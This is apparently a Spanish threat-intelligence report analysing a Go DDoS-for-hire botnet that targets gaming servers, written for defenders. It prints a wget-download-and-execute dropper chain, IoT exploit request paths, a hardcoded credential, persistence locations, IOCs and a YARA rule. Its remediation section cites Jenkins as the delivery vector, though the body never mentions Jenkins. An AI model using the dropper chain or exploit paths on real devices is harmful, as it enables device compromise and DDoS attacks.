Dentro de una operación de DDoS de alquiler para gaming

TLP:CLEAR. Autorizado para publicación. Capturado por la red de sensores honeypot de Kinryū Labs. Los indicadores de abajo están neutralizados (defanged).

Resumen ejecutivo

• 11binarios únicos en 7 arquitecturas
• 28-32bots activos en la API de alquiler
• 1variante con capacidad SSH (el PE de Windows)

Se trata de una botnet DDoS escrita en Go con capacidades de gusano IoT, distribuida a través de un dropper multiarquitectura (bins.sh) y gestionada como un servicio comercial de DDoS de alquiler. El bot se conecta a su servidor de comando y control por TCP en bruto, envía latidos STATS periódicos y recibe comandos de ataque delimitados por líneas. Kinryū Labs valora con confianza alta que se trata de una botnet de DDoS de alquiler funcional y centrada en el gaming.

El rasgo distintivo es una asimetría de autenticación. El canal de comandos en 9111/tcp no está autenticado: no pasa contraseña, token ni desafío-respuesta entre la conexión TCP y el despacho de comandos. El registro de bots se rastrea por separado en un canal SSH autenticado por contraseña en 911/tcp, y el contador de bots de la API de alquiler refleja esos registros autenticados en lugar de las conexiones de comando abiertas. El binario analizado solo habla el canal de TCP en bruto y no lleva ningún cliente SSH, de modo que el registro lo gestiona un componente cargador aparte.

Esta operación funciona como un negocio visible. El host de comando y control expone una API de DDoS de alquiler de autoservicio y restringida por cuenta, publica un recuento en vivo de su inventario de bots, y es uno de varios escaparates construidos a partir del mismo kit de botnet. A lo largo de varias horas de monitorización, el servicio despachó órdenes de ataque de clientes en tiempo real.

El kit y sus variantes

El C2 aloja un directorio abierto que sirve la flota de la botnet. Dieciséis archivos se reducen a once binarios únicos por SHA-256, que abarcan x86, x86-64, ARM (v5/v6/v7), ARM64 y MIPS (big-endian y little-endian), más un PE de Windows y un stub mínimo. Todos comparten el código base en Go Botnet/Bot, compilado con Go 1.26.4, sin importaciones de terceros salvo el cliente SSH de la compilación de Windows.

Destacan tres puntos:

• El PE de Windows es la única variante con capacidad SSH. Solo bot.exe importa golang.org/x/crypto/ssh; un barrido completo de cadenas de la compilación amd64 de Linux y una comparación entre los once binarios únicos no encontraron importaciones SSH en ninguna otra parte. Las variantes de Linux e IoT se propagan a través del escáner y del dropper.
• Una variante es una compilación más antigua y sin C2. x866 se compiló con Go 1.25.6, frente a la 1.26.4 de la flota, es la variante ELF más pequeña, y no lleva ninguna dirección de C2 visible; es probable que la dirección esté codificada o se suministre en tiempo de ejecución. Comparte el código base Botnet/Bot, lo que la vincula al mismo operador.
• sora.x86 no es una botnet. Pese a un nombre de archivo que evoca la familia “Sora” de Mirai, es un stub mínimo en Go construido por la misma cadena de herramientas, cuyo código de usuario íntegro imprime sora.x86 is running y termina, sin dirección de C2, escáner, métodos de ataque ni credenciales. Lo más probable es que sirva como centinela de proceso o como señuelo en el servidor de archivos.

Tres capturas del PE de Windows abarcan aproximadamente una semana: dos son idénticas byte a byte, una posterior es una recompilación despojada de símbolos y más pequeña, y otra aún posterior es una recompilación con todas las funciones que difiere del original.

El protocolo de C2

El canal de comandos es TCP en bruto sin autenticación de transporte. La secuencia de conexión es una recuperación opcional de config (GET /config.dat, validada contra un checkcode incrustado), una rutina de persistencia, luego un net.Dial al puerto de comandos, tras lo cual el bot lee comandos sin escribir nada primero.

• Latido: STATS|%d|%d|%d|%d|%s\n. El campo final es el SO o la arquitectura (por ejemplo amd64); los cuatro enteros informan de los recuentos de ataque, conexión, escaneo e infección.
• Comandos: delimitados por saltos de línea y separados por espacios, con la forma ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. El primer campo selecciona el método y los campos numéricos se analizan con strconv.Atoi.
• Reconexión: un temporizador de 120 segundos vuelve a entrar en el bucle de conexión.
• Config: las credenciales y la configuración se extraen de config.dat y se decodifican con un cifrado XOR multietapa propio (un búfer de 4,078 bytes inicializado con espacios, luego un XOR a nivel de byte con dos bytes de clave fijos, 0x24 y 0x3C). En el momento del análisis, config.dat no se estaba sirviendo, lo que indica que el operador lo había deshabilitado o movido.

Métodos de ataque

El bot incluye un amplio conjunto de herramientas DDoS, catalogado a partir de los nombres de sus funciones y sus cadenas de registro:

Las inundaciones HTTP rotan doce cadenas User-Agent de navegador codificadas y establecen un Referer de un conjunto de sitios de alta reputación (google.com, twitter.com, facebook.com, fbi.gov, reddit.com, bing.com) para mezclarse con el tráfico legítimo y colarse a través del filtrado de los WAF.

Escáner y gusano IoT

El escáner realiza fuerza bruta sobre las credenciales de inicio de sesión de dispositivos IoT y explota varias pilas web de dispositivos embebidos: cámaras DVR/IP JAWS (GET /syscmd.htm), el servidor web Boa en routers (POST /boafrm/formSysCmd, POST /boafrm/formLogin), y dispositivos basados en GoAhead (setUserLogin para elusión de autenticación y creación de usuario administrador, getSanvas para extracción de configuración). A los dispositivos comprometidos se les hace ejecutar wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.

Las credenciales están repartidas. Una contraseña del escáner está codificada en el binario (555111111!!, con un probable nombre de usuario 555), mientras que el grueso de la lista de credenciales se extrae de config.dat en tiempo de ejecución y se decodifica por XOR.

La persistencia usa cuatro mecanismos más camuflaje de proceso: una unidad systemd en /etc/systemd/system/sysd.service (con daemon-reload), una entrada cron mediante /tmp/cron_tmp, rc.local (/etc/rc.local, /etc/rc.d/rc.local), e init.d (/etc/init.d/boot.local). El proceso se hace pasar por un demonio del sistema llamado sysd.

La operación de alquiler

El host de comando y control está dispuesto como un negocio. Expone el SSH del operador en 22, un canal de registro de bots por SSH en Go en 911 (autenticación por contraseña, sobre una clave RSA-2048 distinta), una API HTTP de DDoS de alquiler en 3333, el canal de comandos de TCP en bruto en 9111, y un servidor de archivos de directorio abierto en 5001 que aloja la flota de bots para su descarga.

Un escaparate de autoservicio. La API en 3333 es un booter mínimo, de un solo endpoint. /stats devuelve un recuento en vivo del inventario de bots; /api toma una orden. Valida user y psw, las credenciales de cuenta por cliente, junto a host, method, time/duration y port, los parámetros de objetivo y de ataque, y rechaza cualquier cosa que falte o que no esté autenticada. El formulario de orden es visible desde sondeos no autenticados:

GET /stats
{"time":<unix>,"total":30}

GET /api
Missing parameters: user, psw, host, method, time/duration, port

GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed

El formulario de orden se corresponde uno a uno con el formato de comando del bot (ATTACK_TYPE TARGET PORT DURATION): una solicitud autenticada a la API se convierte en una única línea despachada a través del canal no autenticado 9111 a cada bot registrado.

Un inventario cuidado. /stats reportó entre 28 y 32 bots activos con una rotación continua durante la ventana monitorizada. Como ese contador rastrea los registros autenticados por contraseña en 911 en lugar de las conexiones de comando en bruto, es un recuento de inventario verificado. Esa es la razón operativa por la que el registro y el despacho de comandos se dividen en dos canales: una puerta para decidir qué bots pertenecen al servicio, un canal abierto para gobernarlos.

Un giro de la minería al DDoS. El servidor dropper secundario lleva un miner.sh vaciado junto a la flota DDoS, el vestigio de un componente de criptominado desde entonces eliminado. El operador parece haber pasado del criptominado a vender DDoS.

Cumplimiento de órdenes, observado en vivo

Validamos el protocolo reconstruido contra el C2 en vivo con un monitor pasivo y observamos el servicio en funcionamiento. El C2 estuvo inactivo la mayor parte del tiempo; durante una sesión de varias horas despachó trece comandos de ataque, cada uno una orden de cliente enviada a la flota.

Las órdenes se dirigían casi por completo a infraestructura de gaming y de voz: predominantemente servidores de juego FiveM (GTA V) en Google Cloud en Arabia Saudí, con endpoints de voz de Discord en Cloudflare y un par de servidores web. Valoramos que se trata de un servicio de stresser centrado en el gaming que actúa sobre un conflicto concreto de un cliente. El patrón de despacho se lee como una prestación de servicio: duraciones de ataque escalonadas que se asemejan a niveles de producto (sondeos de 20 s, 30 s estándar, 60 s sostenidos), escalada de métodos (una inundación genérica para probar un objetivo, luego un método específico de protocolo contra él), despacho emparejado y en ráfagas seguido de calma, y un doble golpe a las dos IP tras la voz balanceada de un servidor de Discord.

Un kit de construcción compartido

No es una botnet a medida. Es una compilación de un kit de botnet que distintos operadores personalizan y ejecutan como su propio servicio. La visión más clara del kit es una comparación lado a lado con la flota de nuestro informe anterior, Una botnet DDoS de alquiler multiplataforma en Go, que funciona sobre el mismo código base:

Las flotas comparten la ruta de módulo Botnet/Bot, el mismo escáner y los mismos exploits IoT, los mismos mecanismos de persistencia y el mismo dropper, y funcionan sobre infraestructura solapada: el servidor dropper secundario de aquí (185.226.93[.]242) es el C2 del informe anterior. Lo que difiere es el arsenal y el mercado. Esa otra flota compila un conjunto de inundaciones de propósito general; el operador de aquí compila métodos para gaming y despliega la API de órdenes de alquiler, apuntada de lleno al mercado de stressers para gaming. En conjunto apuntan a una economía de kits de construcción: un código base compartido, revendido o pasado de mano en mano, con cada operador levantando un escaparate con sus propios objetivos.

Indicadores de compromiso

La infraestructura del atacante está neutralizada. Los hashes se reproducen exactamente.

Red

Cadenas de escáner / propagación

GET /syscmd.htm HTTP/1.1                    (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1            (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1            (Boa login)
GET /login.htm HTTP/1.1                     (router login page)
{"topicurl":"setting/setUserLogin",...}    (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"}           (GoAhead config extraction)
GET /config.dat HTTP/1.1                    (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt

Artefactos de host

Process name:  sysd
systemd:       /etc/systemd/system/sysd.service   (+ daemon-reload)
cron:          /tmp/cron_tmp
rc.local:      /etc/rc.local, /etc/rc.d/rc.local
init.d:        /etc/init.d/boot.local
Hardcoded scanner credential:  555111111!!   (likely username 555)

Archivos (SHA-256), Go 1.26.4 salvo que se indique

bot.exe (Windows PE, only SSH-capable variant), captures:
  6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4   (6,253,056 bytes)
  36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25   (4,933,632 bytes, stripped rebuild)
  4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804   (6,020,608 bytes, full rebuild)

Linux amd64:   8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical):  d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l):   523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5:    362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6:    2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64):  428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE):   6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE):   3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP):   f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet):     a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
  sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
  sora.x86 MD5:   3f95cf1ed17f7e00a7be4f5cf12e0088

Alojamiento

Provider:     Ryzehosting
Maintainer:   GHOSTNET-MNT
Abuse:        [email protected]
Reverse DNS:  static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15

Detección

Las cadenas son estables y sin ofuscar, así que las firmas son sencillas. La regla YARA candidata de abajo está construida a partir de cadenas distintivas; valídala antes de desplegarla.

rule go_gaming_ddos_bot_candidate
{
    meta:
        description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "6da75697...78d4"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $mod   = "Botnet/Bot" ascii
        $cnc1  = "Connecting to CNC" ascii
        $cnc2  = "Connected to CNC" ascii
        $stats = "STATS|" ascii
        $svc   = "/etc/systemd/system/sysd.service" ascii
        $cron  = "/tmp/cron_tmp" ascii
        $fivem = "Starting FiveM Flood on" ascii
        $cred  = "555111111!!" ascii

    condition:
        ($mod and 2 of ($cnc1, $cnc2, $stats)) or
        ($svc and $cron) or
        (2 of ($fivem, $cred, $stats))
}

Lógica de detección adicional:

# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n

# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}

# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh

Remediación

• No expongas Jenkins, ni otras interfaces de CI/CD y de administración, a internet. Este fue el vector de entrega.
• Parchea o segmenta los dispositivos IoT basados en JAWS, Boa y GoAhead, y bloquea el acceso externo a sus interfaces de administración. Estos son los objetivos de propagación del escáner.
• Bloquea la infraestructura de C2 y de dropper en el perímetro (5.175.140[.]178 y el dropper 185.226.93[.]242:1001), y alerta sobre la recuperación de config.dat y la cadena de ejecución de bins.sh.
• Alerta sobre los artefactos de persistencia y el nombre de proceso sysd, y sobre el patrón de latido STATS| en la salida.

Mapeo de MITRE ATT&CK

Metodología y notas

• El análisis es ingeniería inversa estática más validación pasiva del protocolo en vivo; los binarios nunca se ejecutaron.
• Los indicadores están neutralizados (defanged) y los hashes se reproducen exactamente.
• Las muestras están disponibles para otros investigadores y defensores que las soliciten. Escribe a [email protected] con una breve nota sobre quién eres y para qué las necesitas.